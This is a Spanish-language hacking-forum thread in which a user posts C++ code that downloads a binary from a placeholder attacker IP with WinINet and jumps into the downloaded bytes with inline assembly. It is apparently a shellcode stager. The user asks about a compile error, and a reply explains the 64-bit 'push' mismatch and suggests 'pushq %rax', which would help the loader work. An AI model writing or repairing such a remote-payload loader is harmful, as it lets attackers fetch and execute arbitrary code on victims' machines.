Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: DonJuanPinorio en 8 Febrero 2021, 22:46 pm



Título: C++ error al compilar (recipe for target 'BD.o' failed) (Error: operand type mismatch for `push')
Publicado por: DonJuanPinorio en 8 Febrero 2021, 22:46 pm
Tengo Problemas ya que al compilar me da estos dos errores y sobre todo el de (Error: operand type mismatch for `push') no soy capaz de solucionarlo ya que el error (recipe for target 'BD.o' failed) puede ser culpa del primero. Gracias si alguien me ayuda

Por si alguien tiene curiosidad el codigo es el siguiente:
====================================
Código
  1. #include <windows.h>
  2. #include<iostream>
  3. #include<cstring>
  4. #include<Wininet.h>
  5. using namespace std;
  6.  
  7. unsigned char DataReceived[500];
  8. int main(){
  9. int i;
  10.  
  11. HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);
  12.  
  13. if(!connect){
  14. cout<<"Connection Failed or Syntax error";
  15. return 0;
  16. }
  17.  
  18. HINTERNET OpenAddress = InternetOpenUrl(connect,"http://(aqui tu ip)/share/BD.bin", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);
  19.  
  20.  
  21. if ( !OpenAddress )
  22. {
  23. DWORD ErrorNum = GetLastError();
  24. cout<<"Failed to open URL \nError No: "<<ErrorNum;
  25. InternetCloseHandle(connect);
  26. return 0;
  27. }
  28.  
  29. DWORD NumberOfBytesRead = 0;
  30.  
  31.  
  32. while(InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead )
  33. {
  34.  
  35. for(i=0;i<sizeof DataReceived; i++ ){
  36.  
  37. printf("\\x%02x",DataReceived[i]);
  38.  
  39. }
  40.  
  41. __asm ("lea _DataReceived, %eax");
  42. __asm ("push %eax");
  43. __asm ("ret");
  44. }
  45.  
  46. InternetCloseHandle(OpenAddress);
  47. InternetCloseHandle(connect);
  48.  
  49. return 0;
  50. }
  51. ==================================================
  52.  


[MOD] Usar las etiquetas GeSHi para publicar codigo.


Título: Re: C++ error al compilar (recipe for target 'BD.o' failed) (Error: operand type mismatch for `push')
Publicado por: K-YreX en 8 Febrero 2021, 23:18 pm
No recuerdo mucho de ensamblador desde que lo estudié pero buscando un poco en Internet he encontrado este enlace dónde parece que está bien explicado: https://stackoverflow.com/questions/21245245/c-uses-assemble-operand-type-mismatch-for-push

Resumiendo: si utilizas 'push' sin un sufijo 'w/l/q' para 16/32/64 bits respectivamente, el ensamblador determinará cuál es el sufijo más apropiado. Como %eax es de 32 bits, utilizará 'pushl' pero las máquinas con arquitecturas de 64 bits no soportan esa operación de 32 bits.
Solución: Utilizar 'pushq %rax' y trabajar con el registro de 64 bits.

Como ya digo, no tengo mucha experiencia y lo que he dicho está básicamente sacado del enlace a stackoverflow. Espero que te sirva y en caso contrario, siempre puedes echar un vistazo tú mismo a las respuestas por si encuentras algo que te sirva.

Suerte  :-X